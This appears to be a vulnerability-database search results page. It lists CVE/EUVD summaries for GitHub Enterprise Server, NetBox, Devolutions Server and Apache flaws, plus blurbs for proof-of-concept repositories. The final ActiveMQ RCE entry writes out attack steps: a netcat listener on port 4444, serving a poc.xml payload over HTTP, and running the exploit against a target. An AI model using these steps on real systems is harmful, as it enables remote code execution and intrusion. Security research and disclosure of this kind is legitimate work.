347942 matches found
CVE-2026-103620 Missing authorization in GitHub Enterprise Server allowed repository writers to replace default branches via GraphQL
A missing authorization vulnerability was identified in GitHub Enterprise Server that allowed a repository collaborator with write access to delete the current default branch through the GraphQL API and cause an attacker-controlled branch to become the new default. In repositories that required...
EUVD-2026-93666
A missing authorization vulnerability was identified in GitHub Enterprise Server that allowed a repository collaborator with write access to delete the current default branch through the GraphQL API and cause an attacker-controlled branch to become the new default. In repositories that required...
CVE-2026-103620
A missing authorization vulnerability in GitHub Enterprise Server allows repository collaborators with write access to delete the current default branch using the GraphQL API . This flaw enables an attacker to set an attacker-controlled branch as the new default. In repositories requiring pull-re...
EUVD-2026-93660
NetBox versions 2.9.5 before 4.7.0 contain a server-side template injection vulnerability that allows a low-privileged user with the "Can add custom links" permission to steal session cookies and API tokens of other users by exposing the raw Django HttpRequest object to the Jinja2 template contex...
CVE-2026-104073
NetBox versions 2.9.5 before 4.7.0 are vulnerable to a server-side template injection vulnerability. A low-privileged user with the "Can add custom links" permission can exploit this by exposing the raw Django HttpRequest object to the Jinja2 template context. An attacker can craft a custom link ...
CVE-2026-104073 NetBox 2.9.5 < 4.7.0 Session Hijacking via Custom Links
NetBox versions 2.9.5 before 4.7.0 contain a server-side template injection vulnerability that allows a low-privileged user with the "Can add custom links" permission to steal session cookies and API tokens of other users by exposing the raw Django HttpRequest object to the Jinja2 template contex...
CVE-2026-104073 NetBox 2.9.5 < 4.7.0 Session Hijacking via Custom Links
NetBox versions 2.9.5 before 4.7.0 contain a server-side template injection vulnerability that allows a low-privileged user with the "Can add custom links" permission to steal session cookies and API tokens of other users by exposing the raw Django HttpRequest object to the Jinja2 template contex...
CVE-2026-104073 NetBox 2.9.5 < 4.7.0 Session Hijacking via Custom Links
NetBox versions 2.9.5 before 4.7.0 contain a server-side template injection vulnerability that allows a low-privileged user with the "Can add custom links" permission to steal session cookies and API tokens of other users by exposing the raw Django HttpRequest object to the Jinja2 template contex...
CVE-2017-1000117
Il coso per avviare un server con CVE-2017-1000117 Esegui il seguente comando, poi avvia il browser web e prova ad accedere a http://localhost:8088! $ git clone --recursive https://github.com/0gawa/CVE-2017-1000117 Hello World se compare, aggiorna git! È vulnerabile...
PlEXcalaison
Escalation dei privilegi locale PlEXcalasion - CVE-2021-42835 Plex Media Server per Windows precedente alla versione 1.25.0.5282 è vulnerabile a Time Of Check Time Of Use TOCTOU che consente agli utenti con privilegi bassi di ottenere privilegi SYSTEM. Scoperto da Tomer Peled, Netanel Cohen e Ami...
CVE-2026-23918-poc
CVE-2026-23918 — Doppio Free in Apache modhttp2 Versione affetta: Apache HTTP Server 2.4.66 con modhttp2 + Event MPM Corretto in: Apache 2.4.67 modh2 v2.0.37 CVSS 3.1: 8.8 ALTO — Possibile esecuzione di codice remoto non autenticata CWE: CWE-415 Double Free Qual è la vulnerabilità modhttp2 in...
CVE-2026-105488
A missing authorization vulnerability in the global vault of Devolutions Server 2026.3.7.0 and earlier versions allows an authenticated user with only global vault view permissions to modify and delete global contact and folder entries. This issue is categorized under CWE-862 . No specific exploi...
EUVD-2026-93783
Missing authorization in the global vault in Devolutions Server 2026.3.7.0 and earlier allows an authenticated user with only the global vault view permission to modify and delete global contact and folder entries...
CVE-2026-105488
Missing authorization in the global vault in Devolutions Server 2026.3.7.0 and earlier allows an authenticated user with only the global vault view permission to modify and delete global contact and folder entries...
CVE-2026-105488
Missing authorization in the global vault in Devolutions Server 2026.3.7.0 and earlier allows an authenticated user with only the global vault view permission to modify and delete global contact and folder entries...
CVE-2026-105485
The Devolutions Server (version 2026.3.7.0 and earlier) is susceptible to an authentication bypass within the OAuth device authorization flow . A remote attacker can achieve full account takeover of an authenticated victim by replaying a captured device verification link . The vulnerability is ca...
EUVD-2026-93782
Authentication bypass OAuth device authorization flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured device verification link by an authenticated victim...
CVE-2026-105485
Authentication bypass OAuth device authorization flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured device verification link by an authenticated victim...
CVE-2026-105485
Authentication bypass OAuth device authorization flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured device verification link by an authenticated victim...
CVE-2023-46604-RCE
CVE-2023-46604-RCE Implementazione in Python dell'esecuzione di codice remoto non autenticata di Apache ActiveMQ Setup ed Exploit nc -lvnp 4444 - Avvia il listener python3 -m http.server 8080 - Servi poc.xml che contiene il tuo payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml -...